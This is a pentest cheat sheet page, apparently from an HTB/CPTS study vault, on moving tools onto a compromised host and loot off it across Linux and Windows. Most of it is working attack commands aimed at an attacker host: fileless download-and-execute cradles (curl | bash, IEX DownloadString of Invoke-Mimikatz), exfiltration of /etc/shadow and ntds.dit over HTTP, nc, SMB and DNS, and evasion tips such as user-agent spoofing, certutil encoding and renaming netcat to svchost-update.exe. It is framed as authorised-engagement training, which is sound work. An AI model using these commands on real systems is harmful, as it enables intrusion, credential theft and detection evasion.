FLOW^:Pentest Workflow

Foothold Toolkit — File Transfers

Pentest attack-flow reference for foothold toolkit — file transfers in an authorised engagement.

intermediateupdated 2026-08-29curl · wget · scp · Impacket

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 04 of 17 · Focus: Foothold Toolkit — File Transfers

Previous: Stage 02 — Web Enumeration and Exploitation · Next: Foothold Toolkit — Shells, Payloads, and Metasploit


📦 FOOTHOLD TOOLKIT — File Transfers

Got a foothold (web shell, nc callback, RCE one-liner) and now need to drag tooling onto the box or drag loot off it. Which port/protocol survives the firewall decides the method — HTTP/S almost always egresses, SMB (445) is often blocked outbound in enterprise, FTP is dying. Decide the direction before the tool: if the target can’t reach me outbound, I make it listen and connect to it; if inbound to the target is filtered, I host on my box and have the target pull. Deep dives: 3 - Linux File Transfer Methods · 2 - Windows File Transfer Methods · 4 - Transferring Files with Code · 5 - Miscellaneous File Transfer Methods · 6 - Living off the Land & Evading Detection.

[!note] Direction & serve-quickref $LHOST = my tun0, $IP = target. On Windows blocks %LHOST% = “sub my attack IP here” (Win shells don’t expand $LHOST). Stand up one of these on the Pwnbox, then have the target pull:

python3 -m http.server 80 --bind 0.0.0.0     # HTTP host (also line ~518/638 in guide)
php -S 0.0.0.0:8000                           # if python's taken
ruby -run -ehttpd . -p8000                    # ruby fallback
busybox httpd -f -p 8080                      # zero-dep fallback on minimal attack boxes/containers
python3 -m uploadserver 443 --server-certificate ~/server.pem   # HTTPS + /upload catch
sudo impacket-smbserver share -smb2support /tmp/smbshare         # SMB share

Always md5sum/Get-FileHash both ends after a paste or a flaky channel — copy-paste corruption and ASCII-mode FTP mangling are silent.

[!tools] Stage this (from attachments/) nc64.exe (SHA-256 · GPG signature) Windows-side netcat for the raw-socket transfer and reverse-shell patterns below. Verify against the vault integrity record before staging anything onto a target: SHA256SUMS (GPG signature) SHA256-verify every staged binary: sha256sum -c SHA256SUMS.txt --ignore-missing on the attack box, Get-FileHash -Algorithm SHA256 on Windows targets. A corrupted nc64.exe transfer wastes a shell; a tampered one burns the op.


🧭 Choose the channel — decision table

Read egress and host context before generating a payload. Wrong channel = dropped connection = lost shell. MITRE: T1105 (Ingress Tool Transfer), T1041/T1048 (Exfiltration), T1071 (Application Layer Protocols).

Situation on targetChannelWhy / caveats
Normal egress, HTTP/HTTPS out allowedHTTP(S): curl/wget, PS WebClient/IWRDefault choice; watch proxy auth and TLS inspection
Domain-joined Windows, SMB to my box routableimpacket smbserver.py + copy \\$LHOST\share\445 often blocked outbound from user VLANs — test, don’t assume
HTTP dead but 21/69 reachable (legacy/OT)FTP (pyftpdlib) / TFTP (atftpd)Plaintext, no integrity; TFTP is UDP — verify hash after
Only one arbitrary port open (e.g. 443 free)nc/socat/openssl s_server raw socketNo resume, no integrity — compress + hash
Egress fully blocked, I have a route inBind-style: target listens, I push (nc -l, smbserver on target side via scp)Inbound filtering on target may still bite; try high ports
I hold creds/keys on the targetSSH (scp/sftp/rsync), WinRM (Copy-Item -ToSession, evil-winrm upload)Encrypted, authenticated, quietest option when available
Existing RDP session (GUI access)xfreerdp /drive: redirect → \\tsclient\Zero new network flows; rides the session I already have
Meterpreter session upupload/download in-channelNo new ports, encrypted C2 channel, chunked + resumable
Huge file over flaky linkCompress first (tar czf, Compress-Archive), then any channelFewer bytes = fewer chances to die mid-transfer
Everything filtered except DNSDNS exfil concept (dnscat2)Slow (bytes/sec); last resort, very noisy per-byte
No network at all, paste channel onlybase64 chunked copy-pastecmd.exe 8,191-char ceiling; small files only, hash-verify

Port-choice heuristic: 443 first (blends with HTTPS egress), then 80, then 53/123 (DNS/NTP-shaped), then whatever the foothold itself arrived on (that port is proven routable). Avoid “hacker ports” (4444, 1337) on real engagements — they’re watchlisted; fine in the lab because HTB boxes rarely egress-filter at all. On the Pwnbox, remember ports <1024 need sudo to bind.

[!tip] CPTS exam tip The exam boxes usually leave 80/443 egress open — python3 -m http.server + curl/certutil solves 90% of transfers. Practice the impacket-smbserver + net use dance anyway: it’s the intended path whenever the scenario drops you on a Windows host with shared tooling, and it doubles as the delivery mechanism for DLL-hijack and coercion chains in Stage 09 and Stage 10.


Hosting files from the Pwnbox — server matrix

What to look for → on my side: which port is free (ss -lntup | grep -E ':80|:443'), whether I need upload and download, TLS or not, and whether my own host firewall is in the way. MITRE: T1105 (Ingress Tool Transfer) — the server half of the same technique.

ServerOne-linerUpload?TLS?Use when
python3 http.serverpython3 -m http.server 80 --bind 0.0.0.0❌❌The default; GET-only, logs every hit
updogupdog -p 443 --ssl✅✅http.server with a drop-in upload form + TLS
python3 uploadserverpython3 -m uploadserver 8000✅ (/upload)✅ (--server-certificate)Multipart POST catcher, token auth option
php built-inphp -S 0.0.0.0:8000❌❌When python3 is absent/busy
busybox httpdbusybox httpd -f -p 8080❌❌Minimal containers, no full python
ruby httpdruby -run -ehttpd . -p8000❌❌Last-ditch fallback
impacket smbserversudo impacket-smbserver share -smb2support /tmp/smb✅ (copy back)n/aWindows targets, UNC path delivery
pyftpdlibsudo python3 -m pyftpdlib -p 21 -w✅❌Scripted ftp.exe targets
atftpdsudo atftpd --daemon --port 69 /tftpboot✅❌TFTP clients (XP-era / network boot)
# Check before binding — a stale listener is the #1 "my transfer hung" cause
ss -lntup | grep -E ':(80|443|8000)\b'
sudo fuser -k 80/tcp                    # free the port if an old server holds it

# Pwnbox firewall — don't forget to actually allow the port in
sudo iptables -I INPUT -p tcp --dport 80 -j ACCEPT    # or: sudo ufw allow 80/tcp

[!warning] Watch out

  • --bind 0.0.0.0 matters on multi-homed setups: binding to localhost (some tools’ default) makes the server invisible to the target and you’ll chase a “target can’t reach me” ghost for ten minutes.
  • http.server serves the current working directory — cd into a dedicated staging dir (~/staging) so you don’t leak your whole home folder, and so hit-logs map cleanly to staged files.
  • Watch the server log line when the target pulls: 200 = served, 404 = wrong path on the target’s command, no log line at all = egress/filtering problem, not a typo problem.

Linux target — pull tooling down

What to look for → which downloader exists: which curl wget; type python3 php ruby perl; echo $BASH_VERSION. Real IR data shows droppers try curl → wget → python in sequence — mirror that fallback ladder.

Linux fetcher ladder (preference order)

FetcherPrimitivePre-installed?Notes
curlHTTP/S, FTP, SCP/SFTPUsually-o output; -s quiet; --insecure for self-signed
wgetHTTP/S, FTPUsually-O output (capital); -qO- streams to stdout
nc + listenerRaw TCPOften (openbsd variant)No integrity — hash after
bash /dev/tcpRaw TCPBash-only built-inSurvives “minimal” containers with no fetchers
openssl s_clientTLS rawVery commonFetches over TLS from openssl s_server
scp/sftp/rsyncSSHIf sshd + credsEncrypted, authenticated, resumable (rsync)
python3/php/perl/rubyHTTP via stdlibOne usually existsLanguage one-liners below

Serve + fetch

# Pwnbox: host the dir with linpeas/pspy/nc etc.
python3 -m http.server 80 --bind 0.0.0.0
# updog (https://github.com/sc0tfree/updog) — http.server replacement with TLS + built-in /upload:
updog -p 443 --ssl          # pip install updog; serves AND receives in one process

# Target — the two obvious ones (note -O vs -o gotcha)
wget http://$LHOST/linpeas.sh -O /tmp/lp.sh
curl -o /tmp/lp.sh http://$LHOST/linpeas.sh

# Fileless — never touches disk, pipe straight into the interpreter
curl -s http://$LHOST/linpeas.sh | bash
wget -qO- http://$LHOST/helloworld.py | python3

# No curl AND no wget? Bash's /dev/tcp built-in speaks raw HTTP
exec 3<>/dev/tcp/$LHOST/80
echo -e "GET /linpeas.sh HTTP/1.1\nHost: $LHOST\n\n" >&3
cat <&3                                          # strip headers above the blank line

# nc fallback pull (Pwnbox serves raw): nc -lvnp 80 -q 0 < linpeas.sh
nc $LHOST 80 > /tmp/linpeas.sh

# interpreter one-liners (when only a language runtime is present)
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://'$LHOST'/lp.sh","lp.sh")'
php -r '$f=file_get_contents("http://'$LHOST'/lp.sh");file_put_contents("lp.sh",$f);'
ruby -e 'require "net/http";File.write("lp.sh",Net::HTTP.get(URI("http://'$LHOST'/lp.sh")))'
perl -e 'use LWP::Simple;getstore("http://'$LHOST'/lp.sh","lp.sh");'

# SSH family — when I hold creds or a key on the target's sshd
scp htb-student@$IP:/root/root.txt .            # pull one file
sftp htb-student@$IP                            # interactive; get/put, -P for odd ports
rsync -avz -e ssh htb-student@$IP:/var/www/loot/ ./loot/   # resumable, deltas, best for big dirs

# openssl s_client as a TLS fetcher (target has openssl but no curl/wget)
openssl s_client -connect $LHOST:443 -quiet <<< "GET /lp.sh HTTP/1.0" | sed '1,/^\r$/d' > lp.sh

[!warning] Watch out

  • wget -O (capital O, output file) vs curl -o (lowercase) — swap them and you clobber the wrong path. curl -O (capital) keeps the remote name.
  • “Fileless” is relative: payloads that mkfifo still drop temp files. And piping into bash leaves no copy to re-inspect — if you might need it for the report, download first.
  • /dev/tcp needs Bash ≥2.04 built with --enable-net-redirections (default on most distros, absent on dash/sh).
  • scp on OpenSSH ≥9 defaults to the SFTP protocol under the hood — ancient targets with only the legacy scp server need scp -O.

Linux target — push loot out

What to look for → a writable landing spot on my side (uploadserver, updog, nginx PUT, an SSH user), or a listener I control.

Exfil

# Pwnbox HTTPS catcher (self-signed), then multipart POST from target
openssl req -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Target — several files in one shot
curl -X POST https://$LHOST/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

# nginx PUT endpoint (dav_methods PUT;) → curl -T for a raw HTTP PUT
curl -T /root/ntds.dit http://$LHOST:9001/SecretUploadDirectory/ntds.dit

# SCP the other direction (local→remote args just swap)
scp /etc/passwd htb-student@$IP:/home/htb-student/

# Python requests one-liner upload
python3 -c 'import requests;requests.post("http://'$LHOST':8000/upload",files={"files":open("/etc/passwd","rb")})'

# Raw nc exfil (Pwnbox: nc -lvnp 443 > loot.tar.gz)
tar czf - /etc/shadow /etc/passwd | nc $LHOST 443     # compress-and-pipe in one step

[!tip] Encrypt sensitive loot before it leaves — never ship raw NTDS/creds over plaintext

openssl enc -aes256 -iter 100000 -pbkdf2 -in ntds.dit -out ntds.enc     # decrypt: add -d

Use PBKDF2 + high iter (not OpenSSL’s legacy KDF), unique passphrase per engagement. age is the sane modern alternative but rarely pre-installed. MITRE: T1567 (Exfiltration Over Web Service) vs T1048 (Exfiltration Over Alternative Protocol) — pick the tag that matches the channel in the report.


Windows target — pull tooling down (cradle table)

What to look for → PowerShell available? then WebClient is fastest and most reliable. cmd.exe only? → certutil/bitsadmin/scripted ftp.exe. Net.WebClient is technically obsolete in .NET but still the go-to on Windows PowerShell 5.1. MITRE: T1105 (Ingress Tool Transfer), T1059.001 (PowerShell), T1218 (LOLBins).

The cradle matrix — shortest path first

MethodOne-linerNotes / detection
IEX in-memoryIEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/pv.ps1')Fileless; AMSI scans the string at IEX time
WebClient to disk(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc64.exe','C:\Windows\Temp\nc64.exe')Reliable all PS versions; process-tree telemetry
IWR to diskiwr http://%LHOST%/nc64.exe -UseBasicParsing -OutFile nc64.exeSlower; needs -UseBasicParsing pre-IE-first-run
BITS (PS)Start-BitsTransfer -Source http://%LHOST%/nc64.exe -Destination C:\Temp\nc64.exeResumable; Microsoft BITS UA is a known tell
certutilcertutil -urlcache -split -f http://%LHOST%/nc64.exe nc64.exeThe classic; flagged by default on modern EDR
curl.exe / wget.execurl.exe -o nc64.exe http://%LHOST%/nc64.exeShips in System32 since Win10 1803+ — cleanest LOLBin now
esentutlesentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Temp\nc64.exe /oCopy-via-database LOLBin; works over UNC too
mshtamshta http://%LHOST%/dl.htaExecutes HTA, not a raw download — pairs with an HTA dropper
rundll32 url.dllrundll32 url.dll,FileProtocolHandler http://%LHOST%/nc64.exeMostly an exec primitive; expect it to open in-browser, not save
scripted ftp.exesee block belowASCII-mode default corrupts binaries — send binary
cscript LOLBincscript //nologo wget.vbs http://%LHOST%/nc64.exe nc64.exeWhen AppLocker blocks PowerShell

Fetch (PowerShell)

# WebClient — works every PS version, HTTP/HTTPS/FTP
(New-Object Net.WebClient).DownloadFile('http://%LHOST%/nc.exe','C:\Windows\Temp\nc.exe')

# Fileless: run in memory, nothing on disk (defeats file-based AV, not AMSI/EDR)
IEX (New-Object Net.WebClient).DownloadString('http://%LHOST%/PowerView.ps1')
(New-Object Net.WebClient).DownloadString('http://%LHOST%/Invoke-Mimikatz.ps1') | IEX

# Invoke-WebRequest (iwr/curl/wget aliases) — slower, "expected" in normal PS
Invoke-WebRequest http://%LHOST%/PowerView.ps1 -UseBasicParsing -OutFile PowerView.ps1

# Modern curl.exe — present in C:\Windows\System32 since Win10 1803, plain and quiet-ish
curl.exe -s -o C:\Windows\Temp\nc64.exe http://%LHOST%/nc64.exe

Fetch (cmd / LOLBins)

:: certutil — the classic "wget for Windows" (loud, AMSI-flagged; two spellings)
certutil.exe -urlcache -split -f http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe
certutil.exe -verifyctl -split -f http://%LHOST%/nc.exe

:: bitsadmin
bitsadmin /transfer job /priority foreground http://%LHOST%/nc.exe C:\Windows\Temp\nc.exe

:: scripted ftp.exe when there's no interactive shell (Pwnbox: python3 -m pyftpdlib -p 21 -w)
echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc.exe>> ftp.txt& echo bye>> ftp.txt
ftp -v -n -s:ftp.txt

:: esentutl copy over UNC or HTTP-cache paths (database LOLBin)
esentutl.exe /y \\%LHOST%\share\nc64.exe /d C:\Windows\Temp\nc64.exe /o

:: cscript LOLBin (JScript/VBScript) when PowerShell itself is blocked by AppLocker
cscript.exe /nologo wget.vbs http://%LHOST%/nc.exe nc.exe
# BITS via the PS module, and GfxDownloadWrapper (Intel driver LOLBin) if present
Import-Module bitstransfer; Start-BitsTransfer -Source "http://%LHOST%/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
GfxDownloadWrapper.exe "http://%LHOST%/nc.exe" "C:\Temp\nc.exe"

[!warning] Watch out

  • Invoke-WebRequest on a fresh server dies with “Internet Explorer’s first-launch configuration is not complete” — add -UseBasicParsing. TLS trust error? [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} before the download.
  • certutil & bitsadmin are the most-taught AND most-detected LOLBins — modern AMSI/EDR flags them out of the box (Microsoft-CryptoAPI/10.0 / Microsoft BITS/7.8 user-agents give them away). On a monitored box prefer Net.WebClient, curl.exe, or in-memory .NET; save certutil for unmonitored/CTF.
  • cmd.exe caps command strings at 8,191 chars — base64-paste of anything bigger silently truncates. Use a real network transfer for binaries.
  • mshta/rundll32 url.dll are execution primitives wearing a download costume — use them to trigger an HTA dropper, not to save files.

Windows target — push loot out (incl. the smbserver + copy pattern)

What to look for → 445 outbound open → impacket SMB (bidirectional, cleanest). 445 blocked → WebDAV rides HTTP/S. No upload server → base64 POST to a bare nc. MITRE: T1021.002 (SMB/Windows Admin Shares), T1105.

SMB via impacket-smbserver (download and exfil, same share)

# Pwnbox — anon share for older Windows...
sudo impacket-smbserver share -smb2support /tmp/smbshare
# ...but modern Windows blocks unauthenticated guest → serve WITH creds instead
sudo impacket-smbserver share -smb2support /tmp/smbshare -user u -password p
:: pull down (guest)
copy \\%LHOST%\share\nc.exe C:\Windows\Temp\
:: guest-access error? map an authed drive, then copy
net use n: \\%LHOST%\share /user:u p
copy n:\nc.exe C:\Windows\Temp\
:: exfil — just copy the OTHER way, into the same share
copy C:\Users\john\Desktop\SourceCode.zip \\%LHOST%\share\
:: tidy up the mapped drive when done (OPSEC: don't leave creds cached)
net use n: /delete

WebDAV when SMB/445 is filtered (rides HTTP, DavWWWRoot is a shell keyword, not a folder)

sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
dir \\%LHOST%\DavWWWRoot
copy C:\loot\SourceCode.zip \\%LHOST%\DavWWWRoot\

PowerShell upload (no native upload cmdlet — pair with a server, or POST base64 to nc)

# PSUpload against uploadserver's /upload
IEX(New-Object Net.WebClient).DownloadString('http://%LHOST%/PSUpload.ps1')
Invoke-FileUpload -Uri http://%LHOST%:8000/upload -File C:\Windows\System32\drivers\etc\hosts

# no upload server needed — base64 the file, POST the body, catch with bare nc
$b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\loot\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://%LHOST%:8000/ -Method POST -Body $b64

# certreq.exe LOLBin — POST any file to a listener
certreq.exe -Post -config http://%LHOST%:8000/ C:\Windows\win.ini
# Pwnbox — catch the base64/certreq POST body, then decode
nc -lvnp 8000
echo '<base64 from request body>' | base64 -d > hosts

[!warning] Watch out

  • A guest-access failure on copy \\ip\share\file is a signal, not a dead end — the target enforces SMB signing/guest-block. Pivot to authed SMB (net use) or WebDAV, don’t assume SMB is unreachable.
  • impacket-smbserver is also how you serve DLLs for hijack/coercion chains (see guide STAGE 9 smbserver.py share …). Same tool, -smb2support is mandatory for modern clients.
  • FTP defaults to ASCII mode and corrupts binaries — always issue binary first in the scripted command file.
  • net use with /user: leaves the credential in the session and can pop a cached-cred artifact — /delete the mapping during cleanup (Stage 10 loot hygiene).

FTP & TFTP — the legacy lanes

What to look for → ftp/tftp clients present on target (where ftp tftp), ports 21/69 reachable. FTP still appears on CPTS boxes and in OT/legacy estates; TFTP is mostly a Windows XP-era built-in (tftp.exe was removed from default installs after XP / re-optional via “TFTP Client” feature).

Serve (Pwnbox)

# pyftpdlib (https://github.com/giampaolo/pyftpdlib) — writable anonymous FTP in one line
sudo python3 -m pyftpdlib -p 21 -w
# TFTP — atftpd daemon rooted at /tftpboot (UDP 69, needs sudo)
sudo atftpd --daemon --port 69 /tftpboot

Fetch from Windows

:: scripted ftp.exe (non-interactive via -s:script) — binary mode is NOT optional for .exe
echo open %LHOST%> ftp.txt& echo USER anonymous>> ftp.txt& echo binary>> ftp.txt& echo GET nc64.exe>> ftp.txt& echo bye>> ftp.txt
ftp -v -n -s:ftp.txt

:: tftp.exe — Windows XP / Server 2003 era (client must be installed on modern Windows)
tftp -i %LHOST% GET nc64.exe

[!warning] Watch out

  • Both protocols are plaintext with no integrity or auth — creds and loot are sniffable on the wire, and a dropped UDP packet in TFTP silently corrupts. Hash-verify after every TFTP pull.
  • FTP needs two channels (21 control + data port); stateful firewalls that kill “just port 21” expectations break active-mode FTP — the passive vs active mismatch is the classic “connects but GET hangs” failure.
  • On modern Windows, tftp.exe absent ≠ TFTP impossible — but installing the feature is itself a loud, logged change. Prefer another lane.

No network path — base64 paste (either OS)

What to look for → only a copy-paste channel exists (web shell, RDP clipboard, restricted console, an SSH session I can type into but can’t route through) with no reachable port either direction. Small files only (keys, scripts) — cmd.exe’s 8,191-char ceiling kills big pastes. MITRE: T1140 (Deobfuscate/Decode Files or Information).

The standard paste-into-SSH workflow (both directions)

  1. Hash the source file (md5sum / Get-FileHash) — this hash is the receipt.
  2. Encode to one unbroken line: base64 -w 0 on Linux, [Convert]::ToBase64String(...) on Windows.
  3. Paste into the target shell (for SSH sessions, a plain paste into cat > f.b64 then Ctrl+D works; for web shells, POST the b64 as a parameter).
  4. Decode on target and hash again — mismatch = wrap/paste corruption, redo in smaller chunks.

Round-trip — hash first, encode one line, verify after

# Pwnbox — hash, then encode to one unbroken line
md5sum id_rsa; cat id_rsa | base64 -w 0; echo

# big file? chunk it so no single paste exceeds the target's command-line limit
split -b 51200 tool.exe part_          # then base64 -w 0 each part_*
# Windows target — decode bytes back to disk, verify hash
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa",[Convert]::FromBase64String("<b64>"))
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
# chunked paste: write each part with Add-Content / certutil -decode per chunk, then reassemble:
#   cmd> copy /b part_aa+part_ab tool.exe
# reverse (exfil): encode on target...
[Convert]::ToBase64String((Get-Content "C:\loot\hosts" -Encoding byte))
# Linux target — decode (-n on echo avoids a stray newline)
echo -n '<b64>' | base64 -d > id_rsa; md5sum id_rsa
# chunked: cat parts in order, then decode once
cat part_* > all.b64 && base64 -d all.b64 > tool.exe && md5sum tool.exe

[!warning] Watch out Always MD5/SHA256 both ends — line-wrapping and encoding drift on paste are the classic silent failure. Use base64 -w 0 so it’s one line, and echo -n on decode so no extra byte sneaks in. Make hash-verify a reflex: the vault keeps attachments/SHA256SUMS.txt as the source-of-truth record — check staged binaries against it before they cross the wire, and re-hash on the target after.


Alt-channel transfers (nc / TLS / WinRM / RDP / meterpreter / DNS)

What to look for → HTTP/SMB/FTP all blocked but something is reachable: a raw port for nc, WinRM (5985/5986), an existing RDP session, or a live meterpreter channel.

# ── Netcat/Ncat — direction-agnostic; -q 0 / --send-only / --recv-only closes cleanly ──
# Windows side uses the staged nc64.exe (attachments/) — same syntax:
#   C:\> nc64.exe -l -p 8000 > tool.exe     (then push from Pwnbox)
#   C:\> nc64.exe $LHOST 443 < loot.zip     (exfil from Windows back to my listener)
# target listens, I push:
victim$ nc -l -p 8000 > tool.exe          #   nc -q 0 $IP 8000 < tool.exe   (from Pwnbox)
# I listen, target pulls out (use when target inbound is blocked but outbound works):
sudo nc -l -p 443 -q 0 < tool.exe         #   victim$ nc $LHOST 443 > tool.exe
# no nc on target at all:
victim$ cat < /dev/tcp/$LHOST/443 > tool.exe
# nc has NO integrity — always md5sum both ends after a raw-socket transfer
md5sum tool.exe                           # run on BOTH sides, compare

# ── openssl as an nc-with-TLS (GTFOBins) — blends into 443, dodges plaintext IDS ──
openssl req -newkey rsa:2048 -nodes -keyout k.pem -x509 -days 365 -out c.pem
openssl s_server -quiet -accept 443 -cert c.pem -key k.pem < linpeas.sh
victim$ openssl s_client -connect $LHOST:443 -quiet > linpeas.sh
# ── WinRM (5985/5986) when HTTP+SMB dead but I have admin/Remote-Mgmt rights ──
$S = New-PSSession -ComputerName DATABASE01
Copy-Item -Path C:\tool.exe -ToSession $S -Destination C:\Windows\Temp\    # push
Copy-Item -Path C:\loot\DB.txt -Destination C:\ -FromSession $S            # pull
# evil-winrm (https://github.com/Hackplayers/evil-winrm) — built-in upload/download verbs
evil-winrm -i $IP -u "$U" -p "$P"
#   *Evil-WinRM* > upload SharpHound.exe C:\\Windows\\Temp\\SharpHound.exe
#   *Evil-WinRM* > download C:\\loot\\report.txt ./report.txt

# ── RDP drive redirection — /tsclient share, easy to forget RDP is a transfer channel ──
xfreerdp /v:$IP /d:$DOMAIN /u:$U /p:"$P" /drive:linux,/home/kali/rdshare
#   → inside the session, files land at \\tsclient\linux
# ── meterpreter in-channel (see sibling note 05) — no new ports, encrypted, resumable ──
meterpreter > upload /home/kali/tools/winPEASx64.exe C:\\Windows\\Temp\\
meterpreter > download C:\\loot\\ntds.enc /home/kali/loot/

DNS exfil (concept) — when DNS (53) is the only thing that egresses: chunk the file, base32/hex-encode each chunk, and fire them as lookups against a domain whose authoritative NS you control (<chunk>.exfil.$MYDOMAIN), reassemble server-side. Frameworks: dnscat2, iodine. MITRE: T1071.004 (DNS), T1048.003. Expect bytes/second throughput and a lot of queries — noisy per byte; size the payload accordingly. Fine for a harvested password or a small keyfile; hopeless for ntds.dit — compress-and-encrypt first, then decide if DNS is really the only way out.


Modern Windows has OpenSSH — use it

What to look for → Win10 1809+/Server 2019+ ship an OpenSSH client (ssh.exe, scp.exe, sftp.exe in C:\Windows\System32\OpenSSH\) even when the sshd server feature is off. If the target can egress on 22 (or I re-point my sshd to 443/80), the whole SSH transfer toolkit works from Windows without staging anything.

:: pull from my Pwnbox sshd (sshd must be running on MY side)
scp.exe kali@%LHOST%:/home/kali/staging/winPEASx64.exe C:\Windows\Temp\
:: push loot back the same way
scp.exe C:\loot\report.zip kali@%LHOST%:/home/kali/loot/
# Pwnbox — make sshd reachable on an egress-friendly port if 22 is filtered
sudo /usr/sbin/sshd -p 443          # dedicated instance alongside the stock one

[!tip] Why bother: SSH gives encryption + integrity + auth in one protocol, and scp.exe is a signed Microsoft binary — no LOLBin stigma, no AMSI involvement. The cost is interactivity (host-key prompt, password) unless I stage a key first. MITRE: T1021.004 (SSH) / T1105.


[!tip] Why these earn their place WinRM/openssl/RDP/meterpreter all live on different ports than the HTTP/SMB/FTP a firewall usually watches. If the “normal” three are blocked but you already hold the access (admin creds → WinRM, an RDP session → drive redirect, a meterpreter session → in-channel transfer), these walk files right past the egress rules. socat covers the multi-hop/relay cases nc can’t. RDP drive redirection writes via the session, so it shows up as mstsc-adjacent activity, not a new outbound flow — quiet, but it does leave the file on the redirected share path in logs.


Compress first, transfer second

What to look for → big loot (ntds.dit + registry hives, source trees, log dirs) or a flaky channel. Fewer bytes = fewer retries = less time on the wire. MITRE: T1560.001 (Archive Collected Data).

# Linux — tar stream (exfil in one pipe, no temp file on target)
tar czf - /var/www/html /etc/ssh 2>/dev/null | nc $LHOST 443 > /dev/null   # ...or | curl -T - http://$LHOST/up.tgz
# Windows — Compress-Archive (PS 5.0+), then transfer the .zip by any cradle above
Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip
:: pre-PS5 / cmd-only: PowerShell one-shot still works from cmd
powershell -c "Compress-Archive -Path C:\loot\* -DestinationPath C:\Windows\Temp\l.zip"

[!warning] Watch out tar/Compress-Archive of live Windows files (registry hives, locked DBs) fails or grabs torn copies — for hives use reg save HKLM\SAM sam / reg save HKLM\SYSTEM system first, for ntds.dit use shadow-copy or ntdsutil (see Stage 08).


Evading detection (OPSEC)

What to look for → evasive testing is in scope and the target has EDR/SIEM. Every downloader has a fingerprintable default user-agent; command-line blacklisting is weak but whitelisting + UA baselining is what actually catches these.

# Spoof the UA to a browser preset so it blends with normal egress traffic
$UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://%LHOST%/nc.exe -UserAgent $UA -OutFile C:\Users\Public\nc.exe
:: certutil doubles as a base64 encoder/decoder — stage an "encoded cert" past naive content filters
certutil -encode payload.exe payload.b64
certutil -decode payload.b64 payload.exe

[!warning] Watch out

  • Known UA tells: Microsoft-CryptoAPI/10.0 (certutil), Microsoft BITS/7.8 (BITS), …WindowsPowerShell/5.1… (IWR). A blue team baselining legit UAs flags every one of these — the UA spoof only helps against UA-based rules, not against EDR watching the process tree.
  • AMSI inspects IEX cradles in memory — a DownloadString | IEX of a signatured script (mimikatz-family, older PowerView) dies at execution even if the download was clean. Obfuscate the content, not just the channel; and remember AMSI is per-process — powershell -enc still passes through it.
  • The download is rarely the loud part — it’s the SYSTEM cmd/powershell that the payload spawns (Event 4688). Getting the file over quietly buys nothing if execution screams.
  • Check LOLBAS (/download,/upload) and GTFOBins (+file download/upload) per-engagement for a binary already whitelisted in that environment — that beats any famous-but-signatured default. Confirm evasive testing is scoped before deliberately dodging detection.
  • Cleanup (T1070.004): delete staged tools (nc64.exe, archives, scripts), remove mapped drives, and clear $env:TEMP artifacts before ending the session — orphaned attacker tooling in C:\Windows\Temp is the #1 “you forgot something” debrief item.
  • Staging path choice matters: C:\Windows\Temp and C:\Users\Public are the classic drops because they’re world-writable — and also the first places a responder looks. A per-engagement folder under the compromised user’s own profile blends better and inherits that user’s permissions.
  • Rename to blend (T1036): nc64.exe → svchost-update.exe / audiodg.exe naming conventions reduce casual triage hits, but do nothing against hash- or signature-based detections. Pair renaming with the integrity habit: record the new name ↔ SHA256 mapping in your notes so the report’s evidence chain stays honest.

[!example] CPTS workflow recap

  1. which curl wget nc / where curl certutil on target → pick the fetcher.
  2. Serve on Pwnbox (python3 -m http.server 80 or updog --ssl).
  3. Transfer, then hash-verify against attachments/SHA256SUMS.txt habit.
  4. Execute; when done, clean up staged files and note the channel used for the report’s ATT&CK mapping.

Troubleshooting matrix — “the transfer didn’t work”

SymptomLikely causeFix
Target: connection timed outEgress filter on that port; wrong $LHOST; server bound to localhostTry 443/80; re-check ip a tun0; re-bind --bind 0.0.0.0
Target: connection refusedNothing listening / Pwnbox firewall drops itss -lntup on Pwnbox; iptables -I INPUT ... -j ACCEPT
Server log shows 404Target asked for the wrong path (case, cwd)Serve from a dedicated staging dir; copy the exact filename
File arrives but won’t run / hash mismatchASCII-mode FTP mangling; paste wrap; truncated ncRe-send in binary mode; md5sum both ends; use -q 0 clean close
certutil downloads a 0-byte or HTML fileProxy interception / captive portal answering instead of my serverTry curl.exe or SMB; inspect what actually landed (type file)
copy \\$LHOST\share\ → “logon failure”Guest SMB blocked (modern Windows default)net use n: \\$LHOST\share /user:u p against an authed share
WebDAV copy → “network path not found”WebClient service stopped on targetnet start webclient (needs the service present)
iwr TLS error on HTTPSSelf-signed cert rejectedSet ServerCertificateValidationCallback = {$true} first
FTP connects but GET hangsActive-mode data channel blocked by firewallSwitch to passive mode, or abandon FTP for HTTP
Big file dies mid-transfer every timeFlaky link, no resume on raw ncCompress first; use BITS/rsync/meterpreter (resumable)

[!tip] Transfer hygiene checklist (before leaving the box)

  • Staged tools deleted from /tmp, C:\Windows\Temp, C:\Users\Public
  • net use mappings removed; RDP /drive shares disconnected
  • Listeners killed on Pwnbox (jobs -K in msf, fuser -k for stray nc/http.server)
  • Loot encrypted at rest on the attack box; hashes recorded for the report evidence chain
  • Channels + filenames logged for the ATT&CK mapping in Stage 11

[!navigation] Continue the attack flow Previous: Stage 02 — Web Enumeration and Exploitation

Dashboard: HTB Pentest Attack Flow

Next: Foothold Toolkit — Shells, Payloads, and Metasploit

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

